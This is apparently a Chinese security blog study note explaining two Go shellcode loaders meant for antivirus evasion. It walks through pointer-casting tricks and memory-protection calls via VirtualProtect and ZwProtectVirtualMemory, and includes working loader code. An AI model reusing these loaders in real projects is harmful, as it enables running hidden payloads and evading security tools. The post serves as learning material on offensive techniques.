WEB

WEB安全

漏洞复现

CTF

常用工具

实战

代码审计

Javaweb

后渗透

内网渗透

免杀

进程注入

权限提升

漏洞复现

靶机

vulnstack

vulnhub

Root-Me

编程语言

java

逆向

PE

逆向学习

HEVD

PWN

CTF

heap

Windows内核学习

其它

关于博客

面试

杂谈

两则免杀GO shellcode加载器

原文https://www.shuzhiduo.com/A/kPzOnKZ8dx/

感觉有些地方没有很详细,就是按照自己的理解补充说明吧

0x01 unsafe.Pointer和uintptr

一些前置知识

(1)任何类型的指针都可以被转化为Pointer
(2)Pointer可以被转化为任何类型的指针
(3)uintptr可以被转化为Pointer
(4)Pointer可以被转化为uintptr

这四句一定要了解,当时就是这里没有很清楚的认识所以卡了很久..

把转化着重标出来,当时踩的坑就是以为包裹了unsafe.Pointer就是同一个类型了,就可以直接互相赋值了,所以没有理解好,这里很感谢一位师傅,下面是师傅的B站号

https://space.bilibili.com/353948151/

一直不厌其烦地解答我的问题,最后终于是懂了

好了这里不扯开了

先来看一下unsafe.Pointer

一个类型只能转换为相同类型的指针

用了这个之后可以把指针转换为不同类型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package main

import (
"fmt"
"unsafe"
)

func main() {
i := int64(1)
var iPtr *int
// iPtr = &i // 错误
iPtr = (*int)(unsafe.Pointer(&i))
fmt.Printf("%d\n", *iPtr)
}

uintptr和Pointer可以相互转换,这个也很重要

如果要让指针进行运算,需要先转换成uintptr才行

0x02 第一个加载器

先来看一下源码

1
2
3
4
5
6
7
8
9
10
11
func Run(sc []byte){
f := func(){}
*(**uintptr)(unsafe.Pointer(&f)) = (*uintptr)(unsafe.Pointer(&sc))
var oldfperms2 uint32
syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect").Call(
uintptr(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&sc)))),
uintptr(uint(len(sc))),
uintptr(uint32(0x40)),
uintptr(unsafe.Pointer(&oldfperms2)))
f()
}

这个加载器详细的注释在原文中有

需要理解下面的代码

1
*(**uintptr)(unsafe.Pointer(&f)) = (*uintptr)(unsafe.Pointer(&sc))

其实就是让sc的指针也指向f的起始位置

这样执行f函数时相当于执行了&sc的区域

还要理解VirtualProtect函数

看一下这个函数官方解释

VirtualProtect,是对应 Win32 函数的逻辑包装函数,它会在呼叫处理程序的虚拟位置空间里,变更认可页面区域上的保护。

说人话就是修改内存的属性,((void(*)())exec)()那篇里面写过内存有读写执行权限,这个函数就是修改内存的读写执行权限

看一下这个函数的参数

1
2
3
4
5
6
BOOL VirtualProtect(  
LPVOID lpAddress,
DWORD dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);

lpAddress 要改变属性的内存起始地址

dwSize 要改变内存的大小

flNewProtect 内存新的属性类型

lpflOldProtect 内存原始属性保存地址,简单说就是随便一个可写地址,比如原始内存属性是只读,就会把2存放在这个地址里

然后再连起来看一下,整个过程就是

  1. 让保存shellcode的起始地址指向函数的起始地址,这样执行函数就会执行shellcode
  2. 修改内存地址的属性变为可执行,默认是可读可写不可执行,这个值可以修改为0x10,0x20,0x40都行,只要有可执行的属性就行

0x02 第二个加载器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
func Run_test(sc []byte){
f := func(){}
*(**uintptr)(unsafe.Pointer(&f)) = (*uintptr)(unsafe.Pointer(&sc))
var oldfperms2 uint32
var hProcess uintptr = 0
var dwBufferLen = uint(len(sc))

syscall.NewLazyDLL("ntdll").NewProc("ZwProtectVirtualMemory").Call(
hProcess-1,
uintptr(unsafe.Pointer(&sc)),
uintptr(unsafe.Pointer(&dwBufferLen)),
uintptr(0x20),
uintptr(unsafe.Pointer(&oldfperms2)))
f()
}

原文中代码直接执行是不行的,上面是修改之后可以执行的代码

这里主要是看ZwProtectVirtualMemory函数,结果网上一查这个函数竟然没有官方文档?!

后来在csdn的评论里面看到这是一个未公开的函数,好像是VirtualProtectEx的下层函数,

用法和VirtualProtectEx一样有五个参数

1
2
3
4
5
进程的句柄
要改变属性的内存的起始地址
要改变内存的大小
设置新的内存属性
内存原始属性保存地址

但是明明参数一样使用VirtualProtectEx就不行,问了也没问到

看了一下官方文档VirtualProtectEx函数的第一个参数hProcess必须要有PROCESS_VM_OPERATION访问权限,感觉会不会是因为底层函数所以不需要这个权限

如果有知道的师傅可以教一下吗,提前谢谢了